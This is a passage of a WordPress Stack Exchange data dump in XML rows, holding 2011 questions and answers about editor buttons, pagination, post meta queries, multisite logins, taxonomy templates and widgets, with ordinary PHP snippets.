  <row Id="21186" PostTypeId="1" AcceptedAnswerId="21188" CreationDate="2011-06-27T12:37:05.847" Score="2" ViewCount="52" Body="&lt;p&gt;I'm currently using WP Super Edit. But the same problem persists with TinyMCE Advanced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it is configured:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.imgur.com/4PyXi.png&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/4PyXi.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.imgur.com/YniBi.png&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/YniBi.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.imgur.com/7MytG.png&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/7MytG.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I (admin) see it: &lt;a href=&quot;http://i.imgur.com/OAdnF.png&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/OAdnF.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how my friend (2nd admin) sees it: &lt;a href=&quot;http://i.imgur.com/mfUMq.png&quot; rel=&quot;nofollow&quot;&gt;http://i.imgur.com/mfUMq.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm getting desperate figuring out why the hell the 2nd button bar doesn't show.&lt;/p&gt;&#xA;" OwnerUserId="288" LastActivityDate="2011-06-27T12:53:24.887" Title="2nd button row from WP Super Edit or TinyMCE Advanced doesn't show to 2nd admin" Tags="&lt;posts&gt;&lt;editor&gt;&lt;tinymce&gt;&lt;post-editor&gt;&lt;plugin-tinymce&gt;" AnswerCount="1" />
  <row Id="21187" PostTypeId="2" ParentId="21181" CreationDate="2011-06-27T12:37:18.177" Score="1" ViewCount="" Body="&lt;p&gt;The code in the link you posted will (using &lt;code&gt;pre_get_posts&lt;/code&gt;) will always change the number of posts_per_page to 3 if you are querying posts from that type. So a better solution would be to not use that code and simply above you code, before :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php while( have_posts() ) : the_post(); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( get_query_var('paged') )&#xA;    $paged = get_query_var('paged');&#xA;elseif ( get_query_var('page') )&#xA;    $paged = get_query_var('page');&#xA;else&#xA;    $paged = 1;&#xA;query_posts(array('post_type' =&amp;gt; 'video', 'posts_per_page' =&amp;gt; '3', 'paged' =&amp;gt; $paged ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this will only effect that query and not all queries of that post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the structure of your code should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( get_query_var('paged') )&#xA;    $paged = get_query_var('paged');&#xA;elseif ( get_query_var('page') )&#xA;    $paged = get_query_var('page');&#xA;else&#xA;    $paged = 1;&#xA;query_posts(array('post_type' =&amp;gt; 'video', 'posts_per_page' =&amp;gt; '3', 'paged' =&amp;gt; $paged ));&#xA;while( have_posts() ) : the_post(); &#xA;    //MAIN LOOP...&#xA;endwhile; wp_reset_query(); &#xA;&#xA;next_posts_link(); previous_posts_link(); &#xA;&#xA;$custom_loop = new WP_Query( array('post_type' =&amp;gt; 'video', 'posts_per_page' =&amp;gt; '-1' ) );&#xA;while ( $custom_loop-&amp;gt;have_posts() ) : $custom_loop-&amp;gt;the_post();&#xA;    //CUSTOM LOOP...&#xA;endwhile;&#xA;wp_reset_query(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-27T12:55:56.820" LastActivityDate="2011-06-27T12:55:56.820" CommentCount="8" />
  <row Id="21188" PostTypeId="2" ParentId="21186" CreationDate="2011-06-27T12:53:24.887" Score="2" ViewCount="" Body="&lt;p&gt;Try click the &quot;&lt;strong&gt;show/hide kitchen sink&lt;/strong&gt;&quot; button that looks like this:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/NLojK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-27T12:53:24.887" CommentCount="2" />
  <row Id="21189" PostTypeId="1" AcceptedAnswerId="21198" CreationDate="2011-06-27T13:29:40.127" Score="2" ViewCount="27" Body="&lt;p&gt;For some posts, I see 404 page, even though posts exist, where is the place in WP where using permalink is decided what object needs to rendered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5860" LastActivityDate="2011-06-27T14:54:43.520" Title="Debugging WP routing" Tags="&lt;posts&gt;&lt;404&gt;&lt;routing&gt;" AnswerCount="1" />
  <row Id="21190" PostTypeId="1" AcceptedAnswerId="21193" CreationDate="2011-06-27T13:44:46.467" Score="0" ViewCount="80" Body="&lt;p&gt;i've saved and array of 'open days' as a serialised array in a meta value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping i could then just search this field for the selected dates but i can't seem to create a match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;serialised = a:2:{i:0;s:10:&quot;2011-09-16&quot;;i:1;s:10:&quot;2011-09-17&quot;;} ; // two open dates&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and was trying this and some variation without luck ;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$values_serialized = serialize(array('2011-09-16')); // need to serialise???&#xA;&#xA;$args =  array ('meta_query' =&amp;gt; array( &#xA;    array( 'key'=&amp;gt;'v-openDays', 'value'=&amp;gt;$values_serialized,'compare'=&amp;gt;'IN' ) &#xA;  )&#xA;)&#xA;// IN or LIKE?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will also be searching for multiple days but need to get one working first! Help appreciated, Dc&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-06-27T18:03:09.990" Title="search serialised meta_value for date value?" Tags="&lt;wp-query&gt;&lt;post-meta&gt;&lt;array&gt;" AnswerCount="1" />
  <row Id="21191" PostTypeId="1" AcceptedAnswerId="21195" CreationDate="2011-06-27T13:47:49.367" Score="2" ViewCount="77" Body="&lt;p&gt;I have come across a problem whilst using the next_post_link() function.&#xA;It seems that this function automatically echo's, for position reasons I need this to just return the link. Is there any available function or workaround that I can use to achieve this result?&lt;/p&gt;&#xA;" OwnerUserId="6529" LastActivityDate="2011-06-27T14:44:52.800" Title="is it possible to get next_post_link" Tags="&lt;posts&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="3" />
  <row Id="21192" PostTypeId="1" AcceptedAnswerId="21196" CreationDate="2011-06-27T14:18:04.090" Score="5" ViewCount="84" Body="&lt;p&gt;Is there a is_user_logged_in() function for Wordpress MU / Multisite (3.0+) where I can add in the network site ID like &lt;code&gt;is_user_logged_in(2)&lt;/code&gt; where &lt;code&gt;2&lt;/code&gt; would be the site_id?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;After a little digging I came up with the code below. Unfortunately it does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;//don't use this. does not work.&#xA;function mu_logged_in($blog_id){&#xA;    switch_to_blog($blog_id);&#xA;        $status = is_user_logged_in();&#xA;    restore_current_blog();&#xA;    return $status;&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anu's answer and comments are good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, make sure you have the cookie domain set correctly in the wp-config.php file :)&lt;/p&gt;&#xA;" OwnerUserId="4400" LastEditorUserId="4400" LastEditorDisplayName="" LastEditDate="2011-06-28T05:08:18.860" LastActivityDate="2011-06-28T05:08:18.860" Title="Is there a is_user_logged_in() for multisite?" Tags="&lt;multisite&gt;&lt;functions&gt;&lt;users&gt;&lt;login&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="21193" PostTypeId="2" ParentId="21190" CreationDate="2011-06-27T14:21:33.387" Score="1" ViewCount="" Body="&lt;p&gt;Don't serialize the search value, just use &lt;code&gt;'value' =&amp;gt; '2011-09-16' 'compare' =&amp;gt; 'LIKE'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise you're essentially looking for;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:1:{i:0;s:10:&quot;2011-09-16&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which of course doesn't actually match anywhere in;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:2:{i:0;s:10:&quot;2011-09-16&quot;;i:1;s:10:&quot;2011-09-17&quot;;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-27T18:03:09.990" LastActivityDate="2011-06-27T18:03:09.990" CommentCount="2" />
  <row Id="21194" PostTypeId="2" ParentId="21191" CreationDate="2011-06-27T14:25:32.277" Score="2" ViewCount="" Body="&lt;p&gt;If you take a look at the source, &lt;code&gt;next_post_link&lt;/code&gt; is just a wrapper for &lt;code&gt;adjacent_post_link&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this function doesn't take any form of 'echo' parameter, so you'll either need to replicate the code in your own function &amp;amp; return the value, or catch it in an output buffer;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;next_post_link();&#xA;$next_post_link = ob_get_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-27T14:25:32.277" />
  <row Id="21195" PostTypeId="2" ParentId="21191" CreationDate="2011-06-27T14:25:54.083" Score="5" ViewCount="" Body="&lt;p&gt;try to work with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_adjacent_post&lt;/a&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$next_post_link_url = get_permalink( get_adjacent_post(false,'',false)-&amp;gt;ID ); &#xA;$prev_post_link_url = get_permalink( get_adjacent_post(false,'',true)-&amp;gt;ID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-27T14:25:54.083" CommentCount="1" />
  <row Id="21196" PostTypeId="2" ParentId="21192" CreationDate="2011-06-27T14:37:06.410" Score="5" ViewCount="" Body="&lt;p&gt;Yes, and no!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way users work in a multisite scenario is that there is a single pool of users, who are then associated with blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, logged in status is common across all the blogs, but you can use &lt;code&gt;is_blog_user($blog_id)&lt;/code&gt; to determine whether the &lt;strong&gt;current logged in user&lt;/strong&gt; is a member of that blog. An example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_user_logged_in()) {&#xA;  if (is_blog_user(4)) echo &quot;Current user is a member of blog 4&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/is_blog_user&quot; rel=&quot;nofollow&quot;&gt;Codex page for &lt;code&gt;is_blog_user()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-27T14:37:06.410" CommentCount="5" />
  <row Id="21197" PostTypeId="2" ParentId="21191" CreationDate="2011-06-27T14:38:13.020" Score="0" ViewCount="" Body="&lt;p&gt;Actually, yes: just use &lt;code&gt;get_next_posts_link()&lt;/code&gt;, using the same arguments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;next_posts_lin()&lt;/code&gt; function simply echoes the returned value of &lt;code&gt;get_next_posts_link()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Erm, nevermind. I mis-read the function name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use &lt;code&gt;get_next_post()&lt;/code&gt;, which returns a post object; then you could get the permalink from the returned ID object parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nextpost = `get_next_post( $args )`;&#xA;$nextpostid = $nextpost-&amp;gt;ID;&#xA;$nextpostlink = get_permalink( $nextpostid );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-27T14:44:52.800" LastActivityDate="2011-06-27T14:44:52.800" />
  <row Id="21198" PostTypeId="2" ParentId="21189" CreationDate="2011-06-27T14:54:43.520" Score="3" ViewCount="" Body="&lt;p&gt;Jan Fabry wrote a &lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;very useful plugin&lt;/a&gt; that I think it would be helpful for you to analyze your rewrite rules. &lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-27T14:54:43.520" CommentCount="1" />
  <row Id="21199" PostTypeId="2" ParentId="21130" CreationDate="2011-06-27T14:59:29.937" Score="1" ViewCount="" Body="&lt;p&gt;You probably need to modify the columns displayed in your Custom Post posts list, so that the list isn't dependent solely on Post Title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a similar situation, with a Custom Post Type that consists solely of a &quot;featured image&quot; (and a &quot;link&quot; custom metabox). I modified the Post list to output the image, which linked to the edit-post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to do something similar.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-27T14:59:29.937" />
  <row Id="21200" PostTypeId="1" CreationDate="2011-06-27T15:03:16.203" Score="2" ViewCount="72" Body="&lt;p&gt;because of my taxonomy hierarchy, my taxonomy-type.php template is already used, is there a way to have only one taxonomy-type-term.php template ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got 13 sub terms, do I need to create 13 taxonomy-type-[term].php templates ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cyril&lt;/p&gt;&#xA;" OwnerUserId="6476" LastActivityDate="2011-08-27T00:35:14.953" Title="Generic taxonomy-term template page" Tags="&lt;custom-taxonomy&gt;&lt;template&gt;&lt;terms&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="21201" PostTypeId="1" CreationDate="2011-06-27T15:24:39.320" Score="2" ViewCount="36" Body="&lt;p&gt;What we have for a project is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;multiple sites (production, test, local development);&lt;/li&gt;&#xA;&lt;li&gt;migrated by multiple methods (PHPMyAdmin, Navicat, BackupBuddy);&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the issue we are having is that &lt;strong&gt;while original production site seems to work fine, rest of the installations are constantly plagued by text encoding issues&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original site is configured with &lt;code&gt;latin&lt;/code&gt; MySQL tables, but WP is configured and serves pages as &lt;code&gt;UTF-8&lt;/code&gt;, which I was told (in our chat) is already problematic. Rest of sites (whose databases mostly mirrors original production site) display issues such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;broken characters (correctable by tweaking WP encoding settings);&lt;/li&gt;&#xA;&lt;li&gt;broken characters (not correctable by tweaking WP encoding settings);&lt;/li&gt;&#xA;&lt;li&gt;site working fine, but feeding broken characters to external libraries.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since I had tried to untangle this for a while and there isn't much info on diagnosing encoding issues in WP, my questions are following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to reliably diagnose if site has encoding configuration issues, even if it might not display them under normal circumstances?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Which rules should be formulated, put into documentation and enforced to prevent encoding issues on migration?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-22T11:13:02.390" Title="How to diagnose and keep in check encoding issues?" Tags="&lt;database&gt;&lt;encoding&gt;" AnswerCount="1" />
  <row Id="21202" PostTypeId="1" AcceptedAnswerId="21205" CreationDate="2011-06-27T15:36:51.137" Score="2" ViewCount="54" Body="&lt;p&gt;I created this widget using a simple example on WordPress Codex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;function widget_container_latest_posts() {&#xA;                             global $wpdb;&#xA;                  global $post;&#xA;                                get_template_part( '/includes/containers/container-latest-posts' );&#xA;}&#xA;&#xA;wp_register_sidebar_widget(&#xA;    'widget_container_latest_posts_1',&#xA;    'Container Latest Posts',&#xA;    'widget_container_latest_posts',&#xA;    array( &#xA;    'description' =&amp;gt; 'Container Latest Posts - Adds recent posts.'&#xA;    )&#xA;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works fine, but I want this widget to be used multiple times not only one time after I drag it on a sidebar widgets place, and so I can add it on all the other sidebars for example.&#xA;Thank&lt;/p&gt;&#xA;" OwnerUserId="5910" LastEditorUserId="5910" LastEditorDisplayName="" LastEditDate="2011-06-27T15:42:50.073" LastActivityDate="2011-06-27T15:50:19.397" Title="WordPress Widget multiple use" Tags="&lt;widgets&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="21203" PostTypeId="1" CreationDate="2011-06-27T15:45:21.287" Score="1" ViewCount="55" Body="&lt;p&gt;I have tried to retrieve the &quot;alt&quot; attribute from &quot;Multi Post Thumbnails&quot;. I have looked at this post &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1051/how-to-retrieve-an-image-attachments-alt-text&quot;&gt;How To Retrieve An Image Attachment&amp;#39;s Alt Text?&lt;/a&gt;, but I couldn't figure it out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="5671" LastActivityDate="2011-06-27T15:45:21.287" Title="Retrieve Multi Post Thumbnails &quot;alt&quot; attribute" Tags="&lt;plugins&gt;&lt;attachments&gt;" FavoriteCount="1" />
  <row Id="21204" PostTypeId="2" ParentId="21200" CreationDate="2011-06-27T15:48:08.277" Score="0" ViewCount="" Body="&lt;p&gt;Simply use &lt;code&gt;taxonomy-{taxonomy}.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer to the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy#Custom_Taxonomies_display&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy Codex entry regarding taxonomies&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress will look for taxonomy template files in the following order:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;taxonomy-{taxonomy}-{term}.php&lt;/code&gt; - If the taxonomy were &lt;code&gt;sometax&lt;/code&gt;, and taxonomy's slug were &lt;code&gt;someterm&lt;/code&gt; WordPress would look for &lt;code&gt;taxonomy-sometax-someterm.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;code&gt;taxonomy-{taxonomy}.php&lt;/code&gt; - If the taxonomy were &lt;code&gt;sometax&lt;/code&gt;, WordPress would look for &lt;code&gt;taxonomy-sometax.php&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;taxonomy.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;archive.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're already using &lt;code&gt;taxonomy-{taxonomy}.php&lt;/code&gt; for something &lt;em&gt;other than&lt;/em&gt; the index archive for &lt;code&gt;{taxonomy}&lt;/code&gt;, perhaps you should re-consider your current use of this template file?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-27T17:02:19.287" LastActivityDate="2011-06-27T17:02:19.287" CommentCount="2" />
  <row Id="21205" PostTypeId="2" ParentId="21202" CreationDate="2011-06-27T15:50:19.397" Score="2" ViewCount="" Body="&lt;p&gt;You need to implement your Widget using the &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Widgets API&lt;/a&gt;, so that WordPress knows how to make multiple instances of the Widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your Widget declaration should take the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_Widget extends WP_Widget {&#xA;    function My_Widget() {&#xA;        // widget actual processes&#xA;    }&#xA;&#xA;    function form($instance) {&#xA;        // outputs the options form on admin&#xA;    }&#xA;&#xA;    function update($new_instance, $old_instance) {&#xA;        // processes widget options to be saved&#xA;    }&#xA;&#xA;    function widget($args, $instance) {&#xA;        // outputs the content of the widget&#xA;    }&#xA;&#xA;}&#xA;register_widget('My_Widget');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-27T15:50:19.397" />
  <row Id="21206" PostTypeId="2" ParentId="9926" CreationDate="2011-06-27T15:51:06.700" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/21132/repository-reporting-incorrect-plugin-active-version-stat&quot;&gt;I'm having the same problem&lt;/a&gt;. Take a look at the opening comments of content-types-wordpress-plugin.php, it looks like there are &lt;a href=&quot;http://plugins.svn.wordpress.org/content-types-wordpress-plugin/tags/1.6.5/content-types-wordpress-plugin.php&quot; rel=&quot;nofollow&quot;&gt;extra line breaks between each line&lt;/a&gt;, which may disrupt the parser that pulls out the version number, etc. If you don't see the extra breaks when you develop locally, you may have to play with the settings in your text editor; specifically, Unix line breaks vs Mac or Windows ones, but possibly other settings also. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, compare your comments against &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin#Standard_Plugin_Information&quot; rel=&quot;nofollow&quot;&gt;the example in the Codex&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/File_Header&quot; rel=&quot;nofollow&quot;&gt;the file header specification&lt;/a&gt; to see if you notice any minor differences.&lt;/p&gt;&#xA;" OwnerUserId="3898" LastEditorUserId="3898" LastEditorDisplayName="" LastEditDate="2011-07-03T18:14:13.447" LastActivityDate="2011-07-03T18:14:13.447" />
  <row Id="21207" PostTypeId="2" ParentId="21163" CreationDate="2011-06-27T16:25:52.063" Score="0" ViewCount="" Body="&lt;p&gt;Like Keoki said, you can use the above the function and codex docs to help you.  It is really just a matter of applying some programming skills to the concept.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, create a database table that holds the shortcode parameters, (shortcode name, parameter1, parameter2, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when the frontend is initialized, add your shortcodes dynamically.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a rough concept:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'dynamic_shortcodes');&#xA;&#xA;    function dynamic_shortcodes() {&#xA;        global $wpdb;&#xA;&#xA;        if(!is_admin()) {&#xA;            $sql = &quot;SELECT shortcode_name, parameter1, parameter2 FROM {$wpdb-&amp;gt;prefix}your_table_name&quot;;&#xA;&#xA;            $result = $wpdb-&amp;gt;get_results($sql);&#xA;&#xA;            if($result) {&#xA;                foreach($result as $shortcode) {&#xA;                    add_shortcode($result-&amp;gt;shortcode_name, 'my_dynamic_function');&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The harder part is going to be writing the function for my_dynamic_function.  Depending on what you want your shortcodes to do, the above code could help or maybe not.  If it is completely dynamic functionality, then maybe not.  &lt;/p&gt;&#xA;" OwnerUserId="6380" LastActivityDate="2011-06-27T16:25:52.063" />
  <row Id="21208" PostTypeId="2" ParentId="19238" CreationDate="2011-06-27T16:26:59.707" Score="0" ViewCount="" Body="&lt;p&gt;You get 404 errors when you add &quot;/blog/&quot; to the custom permalink structure and then also add &quot;/blog/&quot; to the category base.  It should only be added to one, the custom permalink structure.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you leave your category base and tag base blank and just add &quot;/blog/&quot; to the front of the custom permalink structure to make it look like this &quot;/blog/%postname% - this will get the desired result.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your pages will look like this: domain.com/pagename/&#xA;Your post URL will look like this: domain.com/blog/postname&#xA;Your category URL will look like this - domain.com/blog/category/postname &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is useful...&lt;/p&gt;&#xA;" OwnerUserId="6531" LastActivityDate="2011-06-27T16:26:59.707" />
  <row Id="21209" PostTypeId="1" CreationDate="2011-06-27T18:22:09.433" Score="1" ViewCount="50" Body="&lt;p&gt;How can I implement pagination in backward style, like shown in the title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(newest) first - 20 - 19 - 18 - ... - 3 - 2 - 1 - last (oldest)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have search plugin, there are not yet plugin for this.&#xA;Because I want static pagination result, for SEO, I hope I'm not wrong with this opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to explain with sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg.: every page limit by 3 posts and have total 15 posts (total 5 pages).&#xA;The position in Blog Home Default is page 5 (because the latest pages are 5).&#xA;So the blog home display like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(date) - Title&#xA;**15** Jan 2011 - A dummy title&#xA;**14** Jan 2011 - A dummy title&#xA;**13** Jan 2011 - A dummy title&#xA;pagination display: (5) - 4 - 3 - 2 - 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if I click page 4, content entry not display correctly, it display like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(date) - Title&#xA;**06** Jan 2011 - A dummy title&#xA;**05** Jan 2011 - A dummy title&#xA;**04** Jan 2011 - A dummy title&#xA;pagination display: 5 - (4) - 3 - 2 - 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of that, page 4 should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**12** Jan 2011 - A dummy title&#xA;**11** Jan 2011 - A dummy title&#xA;**10** Jan 2011 - A dummy title&#xA;pagination display: 5 - (4) - 3 - 2 - 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;notes: I also put sample with &lt;strong&gt;date&lt;/strong&gt;, to&#xA;  make it clear sample.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can this will happen without touching the core Wordpress?&#xA;Thank You.&lt;/p&gt;&#xA;" OwnerUserId="6534" LastEditorUserId="6534" LastEditorDisplayName="" LastEditDate="2011-08-01T21:52:23.683" LastActivityDate="2011-08-01T21:52:23.683" Title="How to implement pagination in backward way eg. first - 20 - 19 - 18 - ... - 3 - 2 - 1 - last" Tags="&lt;pagination&gt;&lt;seo&gt;&lt;static&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="21210" PostTypeId="2" ParentId="21209" CreationDate="2011-06-27T18:34:36.997" Score="1" ViewCount="" Body="&lt;p&gt;You could use &lt;code&gt;wp_paginate_links()&lt;/code&gt;, pass it the &lt;code&gt;'type' =&amp;gt; 'array'&lt;/code&gt; parameter in the argument array, and then &lt;code&gt;array_reverse()&lt;/code&gt; the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: if you're doing this for SEO purposes, &lt;em&gt;don't bother&lt;/em&gt;. Your canonical URL should be your &lt;em&gt;single-post view&lt;/em&gt;, not an archive index; so the index archive page numbers should have minimal SEO impact, no matter what order the page numbering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_paginate_links()&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/paginate_links&quot; 